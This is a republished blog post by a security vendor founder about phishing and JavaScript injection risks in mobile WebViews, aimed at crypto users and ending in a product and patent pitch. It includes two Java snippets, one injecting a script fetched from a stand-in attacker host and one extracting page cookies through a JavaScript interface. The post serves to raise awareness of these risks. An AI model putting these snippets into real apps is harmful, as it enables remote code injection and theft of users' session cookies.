How WebView could leave crypto enthusiasts exposed to hackers
This is a post that I first published on the MetaCert blog in April 2015. I think it’s worth publishing here today because I believe it will help some crypto enthusiasts be more mindful when opening web links inside mobile apps.
I wrote this post when very few people thought of WebView as the future of web browsing. Today, it’s obvious. Almost every app on your phone opens web links inside the WebView instead of your native browser.
I predicted that phishing would migrate from email to messaging apps. I even closed a second seed round to provide security solutions to solve this problem. Today, I feel like I’ve gone from “predicting the problem” to being thrown into a fire where people are literally losing money every day of the week as direct result of phishing.
Today, I’m predicting a new security threat. I predict that people are going to see their phones hacked as a result of opening the wrong link. Their social media accounts will be immediately compromised and ransomeware, malware or spyware installed on their mobile device.
A Google search for Secure Webview shows results that indicates a serious problems with the security of WebView. There’s one specific security threat that I’m concerned with. Phishing. Before I go into this, I’d like to explain in detail, what a WebView is and how it can be easily exploited with a few lines of code.
A closer look at WebView
A WebView is an essential component on mobile operating platforms such as Android and iOS. A WebView is a class used to access or display content from the Internet on any mobile device using anything other than a commercial web browser. A WebView enables web content to be displayed inside mobile apps. For example, application developers can use WebView to display web content inside an app instead of redirecting users to the native browser. This also allows developers to offer users an integrated experience because they don’t need to close the app and open a web browser in order to view the web content. Slack for example, opens web links inside the WebView instead of your native browser — but you can change this inside your Slack preferences.
A WebView is not intended to act in the same way as conventional web browsers. It does not include many of the features of a fully developed web browser, such as navigation controls, an address bar or safety features. While users of the WebView may move backward and forward through history and pinch zoom to increase the size of text in the web page, WebView does not allow users to visit a web page by typing a URL into an address bar and it offers no web search or security capabilities that commercial web browsers provide.
WebView was originally designed only to display web content inside an app and so their security infrastructure didn’t support many of the things that developers are using them for today. There is an increasing trend towards developers building “hybrid” apps made to look like native apps but are in fact, built entirely around a WebView, using technologies such as HTML and CSS — thereby giving us hundreds of thousands of apps that have browser-like capability, most of which are not developed by well recognized companies and their trustworthiness may be questionable.
Facebook now encourages chatbot developers to use a WebView to improve the user experience. So, you now have hundreds of thousands of bots being downloaded without a moments thought to whether the company behind those bots, can be trusted or not.
Since WebView was first created, app usage is growing exponentially, leading to WebView being used by an increasing number of users. For example, WebView can be helpful when developers want to provide information in their applications that they might need to update without asking users to update their application, such as an end-user agreement or a user guide. Within their applications, developers can create an Activity that contains a WebView, and then use that to display their documents that are hosted online.
A Browser is a critical component in the Trusted Computing Base (TCB) of the Web: Web applications rely on the client side of browsers to secure their cookies, HTTP requests, JavaScript code and so on. We use selected browsers such as Firefox, Chrome, Safari and Opera because we trust that they can serve as a TCB. When using hybrid applications that act like “browsers”, the trust is gone. Therefore, WebView has weakened the TCB of the Web infrastructure.
However, the design of WebView also changes the landscape of the Web, especially from the security perspective. As a result, many attacks can be launched either against apps or by them. And more recently against Messenger bots or by them.
The Web’s security infrastructure can be weakened when a WebView and its Application Programing Interfaces (APIs) are used because WebView does not have security related identity indicators. In other words, users often cannot identify whether a link has taken them to the expected web page or web application. Thus, when a user is accessing web content through WebView and the web page asks the user for confidential information such as username, password, wallet key, or credit card number, the confidential information entered by the user will be vulnerable to phishing attacks. Attackers can spoof users using illegitimate applications with high accuracy, meaning that there is high risk of phishing attacks on mobile platforms. There are several ways to launch attacks on WebView or content in a mobile application.
Hacking is phase 2 for attacks on cryptocurrency enthusiasts
As an example, I’m going to explain how using the functionalities provided by WebView, an app can directly inject its own JavaScript code into any web page loaded within the WebView. This code can manipulate everything in the web page, as well as steal or misuse its sensitive information. Using WebView’s loadUrl() API, Android application can inject arbitrary JavaScript code into the pages loaded by the WebView component. The loadUrl() API receives an argument of string type; if the string starts with“javascript:”, WebView will treat the entire string as JavaScript code, and execute it in the context of the web page that is currently displayed by the WebView component. This JavaScript code has the same privileges as that included in the web page.
Essentially, the injected JavaScript code can manipulate the DOM tree and cookies of the page. WebView has an option named javascriptenable, with False being its default value; namely, by default, WebView does not execute any JavaScript code. However, this option can be easily set to True by the application, and after that, JavaScript code, embedded in the web page or injected by the application, can be executed. There are many ways to inject JavaScript code into web page using loadUrl(). I give two examples here to illustrate the details.
The following Java code constructs a string that contains a short JavaScript program; the program is injected into the web page loaded by WebView. When this program is executed in the context of the web page, it fetches additional (malicious) code from an external web server, and executes it.
String js = “javascript: var newscript= document.createElement(\”script\”);”; js += “newscript.src=\”http://www.attack.com/malicious.js\”;”; js += “document.body.appendChild(newscript);”; mWebView.loadUrl(js);
In the above example, the malicious code malicious.js can launch attacks on the targeted web application from within the web page. For example, if the web page is the user’s Facebook page, the injected JavaScript code can delete the user’s friends, post on his/her friends’ walls, modify the user’s profiles, etc. Obviously, if the application is developed by Facebook, none of these will happen, but some popular Facebook apps for Android phones are indeed developed by third parties.
Extracting Information From WebView.
In addition to manipulating the contents/cookies of the web page, the application can also ask its injected JavaScript code to send out sensitive information from the page. The following example shows how an Android application extracts the cookie information from a targeted web page.
class MyJS {public void SendSecret(String secret) {… do whatever you want with the secret …webview.addJavascriptInterface(new MyJS(), “JsShow”); webview.setWebViewClient(new WebViewClient() {public void onPageFinished(WebView view, String url){ 3view.loadUrl(“javascript: window.JsShow.SendSecret(document.cookie)”);}
In the Java code above, the malicious application defines a class called MyJS with a function SendSecret, which receives a string as the parameter. The program then registers an instance of MyJS to WebView. On finishing loading the page, the application, using loadUrl, invokes window.JsShow.SendSecret, passing as the parameter whatever sensitive information the attacker wants to extract out of page. In this case, the cookie information is sent out.
Further, while WebView provided by companies such as Google and Apple offer a secure connection between a mobile application and a web page, many apps do not offer users with any indication of the level of security offered by the web content. Thus, users will not be aware of whether the web content is safe or authentic. As a result, this gives the fraudsters (including phishing web sites) an opportunity to exploit such security breech.
Fueled by widespread adoption of employee-owned devices in the workplace and the explosion of mobile applications, mobile device security is an increasing threat to personal privacy. Businesses and government agencies are at risk with employees using their own devices to access some of the most sensitive data in an organization.
Accordingly, there exists a need for an improved method which not only allows users of WebView to readily identify whether a web page is safe, but also allows them to readily identify the level of security, thereby increasing users’ confidence in performing secure transactions over WebView.
There is a need for improved security method which protects users and their personal data from malicious web sites or phishing attacks while they are accessing a web page through WebView. And there is a need for improved security method which offers users the ability to block content that they deem inappropriate for themselves or the people for whom they are responsible while using WebView.
Following the publication of this post in 2015 I filed for, and was awarded a full patent for in-app WebView URL protection. Specifically, phishing & malware protection inside a mobile app like Slack, Messenger, iMessage, Skype et al. Two more patents pending.
Patents are not the reason one should do business with a person or company. We pride ourselves on being the most established security company in messaging. And we are doubling down on security solutions for the crypto world to help prevent people from losing their life savings while helping Token launches and ICOs attract more investment — by helping them provide a safe environment for investors to hand over their hard earned money.
☞ Please tap or click “👏” to let Paul and others know that you appreciated this post. The number of claps indicates how much you liked the post so put those hands together as many times as you like.
